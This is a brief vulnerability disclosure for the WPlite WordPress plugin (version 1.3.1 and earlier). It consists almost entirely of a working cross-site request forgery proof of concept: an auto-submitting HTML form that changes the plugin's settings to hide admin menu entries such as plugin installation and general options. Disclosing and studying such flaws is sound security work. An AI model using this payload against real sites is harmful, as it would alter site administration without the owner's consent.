WPlite <= 1.3.1 - Arbitrary Settings Update via CSRF

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=wplite.php" method="POST">
    <input type="text" name="disabled_submenu_items[]" value="plugin-install.php">
    <input type="text" name="disabled_submenu_items[]" value="options-general.php">
    <input type="text" name="disabled_submenu_items[]" value="options-writing.php">
    <input type="text" name="update_wplite_options" value="1">
</form>
<script>
    document.getElementById("test").submit();
</script>